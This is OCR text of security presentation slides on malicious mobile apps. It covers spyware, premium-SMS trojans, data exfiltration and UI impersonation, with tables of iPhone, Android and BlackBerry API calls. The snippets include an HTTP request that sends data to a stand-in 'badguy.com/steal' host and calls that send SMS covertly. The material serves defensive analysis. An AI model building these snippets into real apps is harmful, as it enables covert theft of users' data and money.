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Risks at Every Layer

AAPPLICATION - Apps with

vulnerabilities and malicious code have
access to your data and device sensors

AOPERATING SYSTEM - Defects in

kernel code or vendor supplied system
code

AHARDWARE - Baseband layer attacks

ANETWORK - Interception of data over
the air
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10.9 billion mobile apps downloaded
in 2010, according to IDC

Fxpected to rise to /6.9
billion apps by 2014




Back to the '90s
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Just Let Me Fling Birds at Pigs Already!

DA G 741

"Apple" Would Like to Use
Your Current Location

Q BlackBerry Travel

Please set the BlackBerry
Travel application Permissions

Do you want to Install this

application?

After clicking the button below,

simply keep the default settings
and save.

Allow

& NEIWOrk communication
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Set Application Permissions

® System tools
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‘ Part |: Malicious Code

AActivity monitoring and data retrieval

AUnauthorized dialing, SMS, and
payments

AUnauthorized network
connectivity (exfiltration
or command & control)

AU impersonation

ASystem modification
(rootkit, APN proxy
config)

AlLogic or time bomb



Activity Monitoring and Data Retrieval

AAttackers can monitor and
intercept lots of
information

KSending each email sent on the
device to a hidden 3rd party

address
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KListening in on phone calls or simply
open microphone recording

KStored data, contact list or saved
email messages retrieved



Secret SMS Replicator

ACovertly forwards text BEAY )% T 248PM
messages to another phone

ANo visible icon; once installed, T
' ' : er
will continue to monitor
| iNo | b
without revealing rtself fv'ﬁfcsheyf;;}ev; the nuher

forward incoming SMS
messages, separating multiple

APUHed from AndrOid numbers with commas (,).

Marketplace after |8 hours

|. “Spy App Forwards Cheating Partner's Texts, Gets Banned From

Android Store”
http://www.switched.com/20 | 0/ | 0/28/sms-replicator-forwards-texts-

banned-android/
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Platform-Specific Examples

Platform Example Sources Reasoning

iIPhone [[UlDevice currentDevice] uniqueldentifier]  Acquisition of the iPhone UUID, unique to each
phone.

Android TelephonyManager.getCellLocation, Gain device's current location and unique

CdmaCellLocation.getNetworkld(),
GsmCellLocation.getNetworkld(),
TelephonyManager.getSimSerialNumber()

BlackBerry Store st =
Session.getDefaultinstance().getStore();
Folder[] f = st.list();
for (inti...) {
Message[] msgs = f[i].getMessages();

identifiers.

Permissions Required:

- ACCESS_FINE_LOCATION

- ACCESS_COARSE_LOCATION

- ACCESS_LOCATION_EXTRA_COMMANDS

Read email messages from default inbox.

Permissions Required:
- PERMISSION_EMAIL

* Example code is intended to be representative, not a comprehensive list for each mobile platform



Unauthorized Dialing, SMS, and Payments

ADirectly monetize a
compromised device

KPremium rate phone calls
KPremium rate SMS texts

KMobile payments

ASMS text message as a vector
for worms




AndroidOS/FakePlayer.B

ASecretly sent SMS messages
(Short Message Service) to
a premium rate number
presumably belonging to
the hackers who created 1t

AENnd user does have to

grant the application access
to use SMS

|. “First Android SMS Trojan Found in the Wild"
http://blog.mylookout.com/20 |1 0/08/security-alert-first-android-
sms-trojan-found-in-the-wild/
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3D Anti-Terrorist Action

AMade expensive phone calls
to numbers to a variety of
destinations including the
Dominican Republic,

Somalia, and Sao Tome and
Principe!

I. “Windows Mobile Terdial Trojan makes expensive phone calls”
http://nakedsecurity.sophos.com/20 | 0/04/ | O/windows-mobile-
terdial-trojan-expensive-phone-calls/
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Platform-Specific Examples

Platform Example Sinks Reasoning
iPhone n/a Not feasible without rooting device; in-app SMS
prompts user prior to sending.
Android SmsManager sm = ... Arbitrary SMS messages can be sent.
sm.send TextMessage(phonenumber,
"I'112223333" data, null, null); Permissions Required:
- SEND_SMS
BlackBerry conn = (MessageConnection) Does not require any special permissions,
Connectoropen("sms://" + application must be signed.
phonenumber + ":3590");
conn.send(...); Permissions Required:

- PERMISSION_INTERNET

* Example code is intended to be representative, not a comprehensive list for each mobile platform



Unauthorized Network Connectivity

ASpyware or other malicious functionality typically requires
exfiltration to be of benefit to an attacker

AMany potential vectors that a malicious application can use
to transmit data

KEmall KDNS
KSMS KBluetooth
KHTTP KBlackberry Messenger

KRaw TCP/UDP Ketc.
sockets




Platform-Specific Examples

Platform Example Sinks Reasoning

iIPhone NSURL *url = [NSURL URLWithString: Exfiltrate data using HT TP requests.
@"http://badguy.com/steal!<data>"];
NSMutableURLRequest *req =
[NSMutableURLRequest
requestWithURL:url];
conn = [[NSURLConnection alloc]
initWithRequest:req delegate:self];

Android SmsManager sm = ... Exfiltrate via SMS messages.
sm.send TextMessage(phonenumber,
"I'112223333" data, null, null); Permissions Required:
- SEND_SMS
BlackBerry net.rim.device.api.io.DatagramBase(data, int offset, Exfiltrate via UDP to an arbitrary
int length, String address) destination.

Permissions Required:
- PERMISSION_INTERNET

* Example code is intended to be representative, not a comprehensive list for each mobile platform



Ul Impersonation

ASimilar to phishing attacks

AWeb view applications on the mobile
device can proxy to legitimate website

ACould also impersonate
the phone’s native Ul
or the Ul of a legit
application







